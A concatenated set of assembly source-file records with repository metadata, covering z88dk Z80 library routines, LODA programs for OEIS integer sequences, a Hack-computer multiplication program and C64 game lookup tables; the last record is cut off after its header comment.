7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 215
|
2017-01-17T10:43:03.000Z
|
2022-03-23T17:25:02.000Z
|
INCLUDE "config_private.inc"
SECTION code_clib
SECTION code_math
PUBLIC l_fast_mulu_40_32x8, l0_fast_mulu_40_32x8
EXTERN l0_fast_mulu_32_24x8, error_lznc
l_fast_mulu_40_32x8:
; enter : dehl = 32-bit multiplicand
; a = 8-bit multiplicand
;
; exit : adehl = 40-bit product
; carry reset
;
; uses : af, bc, de, hl, de', hl' (ixh if loop unrolling disabled)
; try to reduce the multiplication
inc d
dec d
jp z, l0_fast_mulu_32_24x8
l0_fast_mulu_40_32x8:
; two full size multiplicands
push hl
ld l,e
ld h,d
exx
pop de
ld l,e
ld h,d
; de'de = 32-bit multiplicand
; a = 8-bit multiplicand
; hl'hl = 32-bit multiplicand
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
IF __CLIB_OPT_IMATH_FAST & $04
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; ENABLE LOOP UNROLLING ;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
ld c,0
; eliminate leading zeroes
loop_00:
add a,a
jr c, loop11
add a,a
jr c, loop12
add a,a
jr c, loop13
add a,a
jr c, loop14
add a,a
jr c, loop15
add a,a
jr c, loop16
add a,a
jr c, loop17
add a,a
ccf
jr nz, loop_exit
xor a
jp error_lznc
; general multiplication loop
loop11:
add hl,hl
exx
adc hl,hl
exx
adc a,a
jr nc, loop12
add hl,de
exx
adc hl,de
exx
adc a,c
loop12:
add hl,hl
exx
adc hl,hl
exx
adc a,a
jr nc, loop13
add hl,de
exx
adc hl,de
exx
adc a,c
loop13:
add hl,hl
exx
adc hl,hl
exx
adc a,a
jr nc, loop14
add hl,de
exx
adc hl,de
exx
adc a,c
loop14:
add hl,hl
exx
adc hl,hl
exx
adc a,a
jr nc, loop15
add hl,de
exx
adc hl,de
exx
adc a,c
loop15:
add hl,hl
exx
adc hl,hl
exx
adc a,a
jr nc, loop16
add hl,de
exx
adc hl,de
exx
adc a,c
loop16:
add hl,hl
exx
adc hl,hl
exx
adc a,a
jr nc, loop17
add hl,de
exx
adc hl,de
exx
adc a,c
loop17:
add hl,hl
exx
adc hl,hl
exx
adc a,a
jr nc, loop_exit
add hl,de
exx
adc hl,de
exx
adc a,c
loop_exit:
; ahl'hl = product
push hl
exx
pop de
ex de,hl
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
ELSE
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; DISABLE LOOP UNROLLING
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
ld bc,0x0700
; eliminate leading zeroes
loop_00:
add a,a
jr c, loop
djnz loop_00
add a,a
ccf
jr nc, loop_exit
xor a
jp error_lznc
; general multiply loop
loop:
add hl,hl
exx
adc hl,hl
exx
adc a,a
jr nc, loop_end
add hl,de
exx
adc hl,de
exx
adc a,c
loop_end:
djnz loop
loop_exit:
; ahl'hl = product
push hl
exx
pop de
ex de,hl
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
ENDIF
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
| 10.741697
| 70
| 0.509447
|
c21acb5e401e0d31d5faf5558bde05ca15a7227b
| 1,082
|
asm
|
Assembly
|
libsrc/_DEVELOPMENT/adt/b_array/z80/asm_b_array_pop_back.asm
|
meesokim/z88dk
|
5763c7778f19a71d936b3200374059d267066bb2
|
[
"ClArtistic"
] | null | null | null |
libsrc/_DEVELOPMENT/adt/b_array/z80/asm_b_array_pop_back.asm
|
meesokim/z88dk
|
5763c7778f19a71d936b3200374059d267066bb2
|
[
"ClArtistic"
] | null | null | null |
libsrc/_DEVELOPMENT/adt/b_array/z80/asm_b_array_pop_back.asm
|
meesokim/z88dk
|
5763c7778f19a71d936b3200374059d267066bb2
|
[
"ClArtistic"
] | null | null | null |
; ===============================================================
; Mar 2014
; ===============================================================
;
; int b_array_pop_back(b_array_t *a)
;
; Pop char from end of array.
;
; ===============================================================
SECTION code_adt_b_array
PUBLIC asm_b_array_pop_back
EXTERN __array_info, error_mc
asm_b_array_pop_back:
; enter : hl = array *
;
; exit : success
;
; hl = last char, popped
; carry reset
;
; fail if array is empty
;
; hl = -1
; carry set, errno = EINVAL
;
; uses : af, bc, de, hl
call __array_info
jp z, error_mc ; if array is empty
; bc = array.size
; hl = & array.size + 1b
; de = array.data
dec bc ; size--
ld (hl),b
dec hl
ld (hl),c ; array.size = size - 1
ex de,hl ; hl = array.data
add hl,bc ; hl = & array.data[size - 1]
ld l,(hl)
ld h,0
ret
| 20.037037
| 65
| 0.387246
|
55f13983af9af3b5ac08473b66df0f1b93e70daf
| 144
|
asm
|
Assembly
|
other.7z/SFC.7z/SFC/ソースデータ/ヨッシーアイランド/日本_Ver2/sfc/ys_w35.asm
|
prismotizm/gigaleak
|
d082854866186a05fec4e2fdf1def0199e7f3098
|
[
"MIT"
] | null | null | null |
other.7z/SFC.7z/SFC/ソースデータ/ヨッシーアイランド/日本_Ver2/sfc/ys_w35.asm
|
prismotizm/gigaleak
|
d082854866186a05fec4e2fdf1def0199e7f3098
|
[
"MIT"
] | null | null | null |
other.7z/SFC.7z/SFC/ソースデータ/ヨッシーアイランド/日本_Ver2/sfc/ys_w35.asm
|
prismotizm/gigaleak
|
d082854866186a05fec4e2fdf1def0199e7f3098
|
[
"MIT"
] | null | null | null |
Name: ys_w35.asm
Type: file
Size: 14892
Last-Modified: '2016-05-13T04:51:44Z'
SHA-1: EB96A83448C02BE38D2F06ADA217481C9DC1A4AB
Description: null
| 20.571429
| 47
| 0.8125
|
f023dd51f2b3c9a68c26f3a5ab1a1429877be68c
| 694
|
asm
|
Assembly
|
oeis/052/A052931.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/052/A052931.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/052/A052931.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A052931: Expansion of 1/(1 - 3*x^2 - x^3).
; Submitted by Jon Maiga
; 1,0,3,1,9,6,28,27,90,109,297,417,1000,1548,3417,5644,11799,20349,41041,72846,143472,259579,503262,922209,1769365,3269889,6230304,11579032,21960801,40967400,77461435,144863001,273351705,512050438,964918116,1809503019,3406804786,6393427173,12029917377,22587086305,42483179304,79791176292,150036624217,281856708180,529901048943,995606748757,1871559855009,3516721295214,6610286313784,12421723740651,23347580236566,43875457535737,82464464450349,154973952843777,291268850886784,547386322981680
mov $1,1
mov $3,1
lpb $0
sub $0,1
add $2,$1
add $2,$1
sub $1,$2
add $1,$3
add $3,$2
add $2,$1
add $3,2
lpe
mov $0,$1
| 38.555556
| 489
| 0.775216
|
10cf8e452256d3b8598937acb69d82836dd0fcdc
| 1,069
|
asm
|
Assembly
|
asm/Mult.asm
|
Jin-Roh/Nand2Tetris
|
38c7b088a98138149018bb4bc5d35123e500e3fb
|
[
"MIT"
] | null | null | null |
asm/Mult.asm
|
Jin-Roh/Nand2Tetris
|
38c7b088a98138149018bb4bc5d35123e500e3fb
|
[
"MIT"
] | null | null | null |
asm/Mult.asm
|
Jin-Roh/Nand2Tetris
|
38c7b088a98138149018bb4bc5d35123e500e3fb
|
[
"MIT"
] | null | null | null |
// This file is part of www.nand2tetris.org
// and the book "The Elements of Computing Systems"
// by Nisan and Schocken, MIT Press.
// File name: projects/04/Mult.asm
// Multiplies R0 and R1 and stores the result in R2.
// (R0, R1, R2 refer to RAM[0], RAM[1], and RAM[2], respectively.)
// Put your code here.
// (_START)
@i // i refers to some mem. location
M=0 // i = 0
@R2 // RAM location 2
M=0 // R2 = 0, out
(LOOP)
@i
D=M // D = i
@R0 // RAM location 0
D=D-M // i = i - MEM[R0] -> RAM[0]
@END
D;JEQ // if (i - R0) == 0 goto END
@R1 // RAM location 1
D=M // D = MEM[R1] -> RAM[1]
@R2
M=M+D // R2 = R2 + R1
@i
M=M+1 // i = i + 1
@LOOP
0;JMP // GOTO LOOP
(END)
@END
0;JMP // GOTO END, infinite loop
| 26.073171
| 67
| 0.392891
|
5f8edebdd9ddb313cbefede682eeede222ff07d6
| 603
|
asm
|
Assembly
|
programs/oeis/220/A220495.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | 1
|
2021-03-15T11:38:20.000Z
|
2021-03-15T11:38:20.000Z
|
programs/oeis/220/A220495.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/220/A220495.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | null | null | null |
; A220495: Number of toothpicks or D-toothpicks added at n-th stage to the structure of A220494.
; 0,1,2,4,4,4,4,8,8,4,4,8,8,8,8,16,16,4,4,8,8,8,8,16,16,8,8,16,16,16,16,32,32,4,4,8,8,8,8,16,16,8,8,16,16,16,16,32,32,8,8,16,16,16,16,32,32,16,16,32,32,32,32,64,64,4,4,8,8,8,8,16,16
mov $6,$0
mov $8,2
lpb $8
clr $0,6
mov $0,$6
sub $8,1
add $0,$8
sub $0,1
lpb $0
mov $1,$0
cal $1,151566 ; Leftist toothpicks (see Comments for definition).
mov $0,0
mul $1,2
sub $1,1
lpe
mov $9,$8
lpb $9
mov $7,$1
sub $9,1
lpe
lpe
lpb $6
mov $6,0
sub $7,$1
lpe
mov $1,$7
| 20.1
| 181
| 0.575456
|
79f665838547fd7c5c7603afc5c86216a9a38daf
| 10,690
|
asm
|
Assembly
|
inc/tables.asm
|
moonorongo/looptap64
|
6fd65cc98792cff4ec904b6494c2fa78f826b758
|
[
"MIT"
] | null | null | null |
inc/tables.asm
|
moonorongo/looptap64
|
6fd65cc98792cff4ec904b6494c2fa78f826b758
|
[
"MIT"
] | null | null | null |
inc/tables.asm
|
moonorongo/looptap64
|
6fd65cc98792cff4ec904b6494c2fa78f826b758
|
[
"MIT"
] | null | null | null |
// *=$3000 "Lookup tables"
outer_chars_hi:
.byte $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $d9, $d9
outer_chars_lo:
.byte $e6, $e6, $be, $be, $be, $be, $96, $96, $96, $96, $6e, $6e, $6e, $6f, $47, $47, $47, $47, $47, $1f, $1f, $1f, $20, $f8, $f8, $f8, $f8, $f8, $d0, $d1, $d1, $d1, $d1, $d1, $a9, $aa, $aa, $aa, $aa, $aa, $ab, $83, $83, $83, $84, $84, $84, $84, $84, $85, $5d, $5d, $5d, $5e, $5e, $5e, $5e, $5f, $5f, $5f, $5f, $60, $60, $60, $60, $61, $61, $61, $61, $62, $62, $62, $62, $63, $63, $63, $63, $8b, $8c, $8c, $8c, $8c, $8d, $8d, $8d, $8d, $b5, $b6, $b6, $b6, $b6, $b6, $b7, $df, $df, $df, $df, $e0, $e0, $08, $08, $08, $08, $08, $31, $31, $31, $31, $59, $59, $59, $59, $5a, $82, $82, $82, $82, $aa, $aa, $aa, $aa, $d2, $d2, $d2, $d2, $fa, $fa, $fa, $fa, $22, $22, $22, $22, $4a, $4a, $4a, $4a, $72, $72, $72, $72, $72, $9a, $99, $99, $99, $c1, $c1, $c1, $c1, $c1, $e8, $e8, $e8, $e8, $e8, $10, $10, $0f, $0f, $0f, $37, $37, $36, $36, $36, $36, $36, $5d, $5d, $5d, $5d, $5d, $5c, $5c, $5c, $84, $83, $83, $83, $83, $83, $82, $82, $82, $82, $81, $81, $81, $81, $80, $80, $80, $80, $7f, $7f, $7f, $7f, $7e, $7e, $7e, $7e, $7d, $7d, $7d, $7d, $7c, $54, $54, $54, $54, $53, $53, $53, $53, $2a, $2a, $2a, $2a, $2a, $29, $29, $01, $01, $01, $01, $00, $d8, $d8, $d8, $d8, $d8, $b0, $af, $af, $af, $af, $87, $87, $87, $87, $5f, $5e, $5e, $5e, $5e, $36, $36, $36, $36, $0e, $0e, $0e, $0e, $e6, $e6
middle_chars_hi:
.byte $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $d9, $d9
middle_chars_lo:
.byte $e5, $e5, $bd, $bd, $bd, $95, $95, $95, $95, $6d, $6d, $6d, $6d, $45, $46, $46, $46, $1e, $1e, $1e, $1e, $f6, $f7, $f7, $f7, $cf, $cf, $cf, $d0, $d0, $a8, $a8, $a8, $a9, $a9, $81, $81, $81, $82, $82, $82, $5a, $5b, $5b, $5b, $5b, $5c, $5c, $5c, $34, $35, $35, $35, $35, $36, $36, $36, $36, $37, $37, $37, $38, $38, $38, $38, $39, $39, $39, $39, $3a, $3a, $3a, $3b, $3b, $3b, $3b, $3c, $3c, $64, $64, $65, $65, $65, $65, $66, $66, $8e, $8e, $8f, $8f, $8f, $8f, $b7, $b8, $b8, $b8, $b8, $e0, $e1, $e1, $e1, $e1, $09, $09, $0a, $0a, $32, $32, $32, $32, $5a, $5a, $5b, $5b, $83, $83, $83, $83, $ab, $ab, $ab, $ab, $d3, $d3, $d3, $fb, $fb, $fb, $fb, $23, $23, $23, $23, $4b, $4b, $4b, $73, $73, $73, $73, $9b, $9b, $9b, $9a, $c2, $c2, $c2, $c2, $ea, $ea, $ea, $e9, $11, $11, $11, $11, $11, $38, $38, $38, $38, $38, $5f, $5f, $5f, $5f, $5f, $5e, $86, $86, $86, $85, $85, $85, $85, $84, $ac, $ac, $ac, $ab, $ab, $ab, $ab, $aa, $aa, $aa, $a9, $a9, $a9, $a9, $a8, $a8, $a8, $a8, $a7, $a7, $a7, $a6, $a6, $a6, $a6, $a5, $a5, $a5, $a5, $a4, $a4, $7c, $7c, $7b, $7b, $7b, $7b, $7a, $7a, $52, $52, $51, $51, $51, $51, $29, $28, $28, $28, $28, $00, $ff, $ff, $ff, $ff, $d7, $d7, $d6, $d6, $ae, $ae, $ae, $ae, $86, $86, $85, $85, $5d, $5d, $5d, $5d, $35, $35, $35, $0d, $0d, $0d, $0d, $e5, $e5
inner_chars_hi:
.byte $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d8, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $d9, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $db, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $da, $d9, $d9
inner_chars_lo:
.byte $e4, $bc, $bc, $bc, $bc, $94, $94, $94, $6c, $6c, $6c, $44, $44, $44, $45, $1d, $1d, $1d, $f5, $f5, $f5, $f5, $ce, $ce, $ce, $ce, $a6, $a6, $a7, $a7, $a7, $7f, $80, $80, $80, $58, $58, $59, $59, $59, $59, $32, $32, $32, $32, $33, $33, $33, $34, $0c, $0c, $0c, $0d, $0d, $0d, $0e, $0e, $0e, $0f, $0f, $0f, $0f, $10, $10, $10, $11, $11, $11, $12, $12, $12, $12, $13, $13, $13, $14, $14, $14, $3d, $3d, $3d, $3d, $3e, $3e, $3e, $3e, $67, $67, $67, $67, $68, $68, $90, $90, $91, $91, $b9, $b9, $b9, $ba, $ba, $e2, $e2, $e2, $e3, $0b, $0b, $0b, $0b, $33, $33, $33, $5c, $5c, $5c, $5c, $84, $84, $84, $ac, $ac, $ac, $d4, $d4, $d4, $d4, $fc, $fc, $fc, $24, $24, $24, $4c, $4c, $4c, $4c, $74, $74, $74, $9c, $9c, $9c, $c4, $c3, $c3, $c3, $eb, $eb, $eb, $eb, $13, $12, $12, $12, $3a, $3a, $39, $39, $61, $61, $61, $60, $60, $88, $88, $87, $87, $87, $af, $ae, $ae, $ae, $ae, $ad, $ad, $ad, $d5, $d4, $d4, $d4, $d3, $d3, $d3, $d2, $d2, $d2, $d2, $d1, $d1, $d1, $d0, $d0, $d0, $cf, $cf, $cf, $cf, $ce, $ce, $ce, $cd, $cd, $cd, $cc, $cc, $cc, $cc, $a3, $a3, $a3, $a2, $a2, $a2, $a2, $a1, $79, $79, $79, $78, $78, $50, $50, $50, $4f, $4f, $27, $27, $26, $26, $fe, $fe, $fe, $fe, $d5, $d5, $d5, $d5, $ad, $ad, $ad, $ad, $84, $84, $84, $5c, $5c, $5c, $34, $34, $34, $34, $0c, $0c, $0c, $e4, $e4
// Sprite positions
sprite_x_prev_angle:
.byte $36, $36
sprite_x_angle:
.byte $36, $36
sprite_x_next_angle:
.byte $36, $36, $37, $37, $37, $38, $38, $39, $39, $3a, $3b, $3b, $3c, $3d, $3e, $3f, $40, $41, $42, $43, $44, $45, $46, $48, $49, $4a, $4c, $4d, $4f, $50, $52, $54, $55, $57, $59, $5a, $5c, $5e, $60, $62, $64, $66, $68, $6a, $6c, $6e, $70, $72, $74, $76, $78, $7a, $7c, $7e, $81, $83, $85, $87, $89, $8c, $8e, $90, $92, $94, $97, $99, $9b, $9d, $9f, $a2, $a4, $a6, $a8, $aa, $ac, $ae, $b0, $b2, $b4, $b6, $b8, $ba, $bc, $be, $c0, $c2, $c4, $c6, $c7, $c9, $cb, $cc, $ce, $d0, $d1, $d3, $d4, $d6, $d7, $d8, $da, $db, $dc, $dd, $de, $df, $e0, $e1, $e2, $e3, $e4, $e5, $e5, $e6, $e7, $e7, $e8, $e8, $e9, $e9, $e9, $ea, $ea, $ea, $ea, $ea, $ea, $ea, $ea, $ea, $e9, $e9, $e9, $e8, $e8, $e7, $e7, $e6, $e5, $e5, $e4, $e3, $e2, $e1, $e0, $df, $de, $dd, $dc, $db, $da, $d8, $d7, $d6, $d4, $d3, $d1, $d0, $ce, $cc, $cb, $c9, $c7, $c6, $c4, $c2, $c0, $be, $bc, $ba, $b8, $b6, $b4, $b2, $b0, $ae, $ac, $aa, $a8, $a6, $a4, $a2, $9f, $9d, $9b, $99, $97, $94, $92, $90, $8e, $8c, $89, $87, $85, $83, $81, $7e, $7c, $7a, $78, $76, $74, $72, $70, $6e, $6c, $6a, $68, $66, $64, $62, $60, $5e, $5c, $5a, $59, $57, $55, $54, $52, $50, $4f, $4d, $4c, $4a, $49, $48, $46, $45, $44, $43, $42, $41, $40, $3f, $3e, $3d, $3c, $3b, $3b, $3a, $39, $39, $38, $38, $37, $37, $37, $36, $36, $36, $36, $36, $36, $36
sprite_y_prev_angle:
.byte $8e, $8c
sprite_y_angle:
.byte $8a, $88
sprite_y_next_angle:
.byte $85, $83, $81, $7f, $7d, $7a, $78, $76, $74, $72, $70, $6e, $6c, $6a, $68, $66, $64, $62, $60, $5e, $5c, $5a, $58, $56, $55, $53, $51, $50, $4e, $4c, $4b, $49, $48, $46, $45, $44, $42, $41, $40, $3f, $3e, $3d, $3c, $3b, $3a, $39, $38, $37, $37, $36, $35, $35, $34, $34, $33, $33, $33, $32, $32, $32, $32, $32, $32, $32, $32, $32, $33, $33, $33, $34, $34, $35, $35, $36, $37, $37, $38, $39, $3a, $3b, $3c, $3d, $3e, $3f, $40, $41, $42, $44, $45, $46, $48, $49, $4b, $4c, $4e, $50, $51, $53, $55, $56, $58, $5a, $5c, $5e, $60, $62, $64, $66, $68, $6a, $6c, $6e, $70, $72, $74, $76, $78, $7a, $7d, $7f, $81, $83, $85, $88, $8a, $8c, $8e, $90, $93, $95, $97, $99, $9b, $9e, $a0, $a2, $a4, $a6, $a8, $aa, $ac, $ae, $b0, $b2, $b4, $b6, $b8, $ba, $bc, $be, $c0, $c2, $c3, $c5, $c7, $c8, $ca, $cc, $cd, $cf, $d0, $d2, $d3, $d4, $d6, $d7, $d8, $d9, $da, $db, $dc, $dd, $de, $df, $e0, $e1, $e1, $e2, $e3, $e3, $e4, $e4, $e5, $e5, $e5, $e6, $e6, $e6, $e6, $e6, $e6, $e6, $e6, $e6, $e5, $e5, $e5, $e4, $e4, $e3, $e3, $e2, $e1, $e1, $e0, $df, $de, $dd, $dc, $db, $da, $d9, $d8, $d7, $d6, $d4, $d3, $d2, $d0, $cf, $cd, $cc, $ca, $c8, $c7, $c5, $c3, $c2, $c0, $be, $bc, $ba, $b8, $b6, $b4, $b2, $b0, $ae, $ac, $aa, $a8, $a6, $a4, $a2, $a0, $9e, $9b, $99, $97, $95, $93, $90, $8e, $8c, $8a, $88
// color ramp
spacebar_color_ramp:
.byte 15, 12, 11, 0, 11, 12
| 296.944444
| 1,285
| 0.413845
|
b133834d45ede71e5c00f293c670ba5e81259fb2
| 168
|
asm
|
Assembly
|
libsrc/_DEVELOPMENT/ctype/c/sdcc_iy/tolower.asm
|
meesokim/z88dk
|
5763c7778f19a71d936b3200374059d267066bb2
|
[
"ClArtistic"
] | null | null | null |
libsrc/_DEVELOPMENT/ctype/c/sdcc_iy/tolower.asm
|
meesokim/z88dk
|
5763c7778f19a71d936b3200374059d267066bb2
|
[
"ClArtistic"
] | null | null | null |
libsrc/_DEVELOPMENT/ctype/c/sdcc_iy/tolower.asm
|
meesokim/z88dk
|
5763c7778f19a71d936b3200374059d267066bb2
|
[
"ClArtistic"
] | null | null | null |
; int tolower(int c)
SECTION code_ctype
PUBLIC _tolower
EXTERN _tolower_fastcall
_tolower:
pop af
pop hl
push hl
push af
jp _tolower_fastcall
| 8.842105
| 24
| 0.696429
|
33409e7ff8ceaa76afd3516c28d0e3ff96cb16f5
| 392
|
asm
|
Assembly
|
libsrc/rex/graphics/DsClearScreen.asm
|
meesokim/z88dk
|
5763c7778f19a71d936b3200374059d267066bb2
|
[
"ClArtistic"
] | null | null | null |
libsrc/rex/graphics/DsClearScreen.asm
|
meesokim/z88dk
|
5763c7778f19a71d936b3200374059d267066bb2
|
[
"ClArtistic"
] | null | null | null |
libsrc/rex/graphics/DsClearScreen.asm
|
meesokim/z88dk
|
5763c7778f19a71d936b3200374059d267066bb2
|
[
"ClArtistic"
] | null | null | null |
;
; written by Benjamin Green, adapting code from Waleed Hasan
;
; $Id: DsClearScreen.asm,v 1.4 2015/01/19 01:33:06 pauloscustodio Exp $
;
PUBLIC DsClearScreen
.DsClearScreen
; in a,(3)
; ld l,a
; in a,(4)
; ld h,a
; push hl
ld a,$10
out (4),a
xor a
out (3),a
ld de,$A001
ld h,d
ld l,a
ld bc,30*120-1
ld (hl),a
ldir
; pop hl
; ld a,l
; out (3),a
; ld a,h
; out (4),a
ret
| 10.594595
| 71
| 0.59949
|
afa1d99bdef008e8b3fba4a3ac3ff37f6646ba75
| 545
|
asm
|
Assembly
|
programs/oeis/059/A059811.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/059/A059811.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/059/A059811.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A059811: Let g_n be the ball packing n-width for the manifold torus X interval; sequence gives numerator of (g_n/Pi)^2.
; 1,1,1,1,4,4,9,36,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
mov $1,-1
mov $2,2
mov $3,1
add $3,$0
sub $3,1
sub $2,$3
mov $4,$0
lpb $0
mul $0,0
sub $0,1
mul $2,3
add $4,1
mov $5,$2
add $5,2
add $4,$5
div $4,2
mul $0,$4
pow $0,2
add $0,2
mov $1,$0
lpe
pow $1,2
mov $0,$1
| 20.185185
| 188
| 0.548624
|
7a065f9299e47f5394435dc26dcc9d137630e50e
| 891
|
asm
|
Assembly
|
programs/oeis/134/A134478.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/134/A134478.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/134/A134478.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
; A134478: Triangle read by rows, T(0,0) = 1; n-th row = (n+1) terms of n, n+1, n+2...
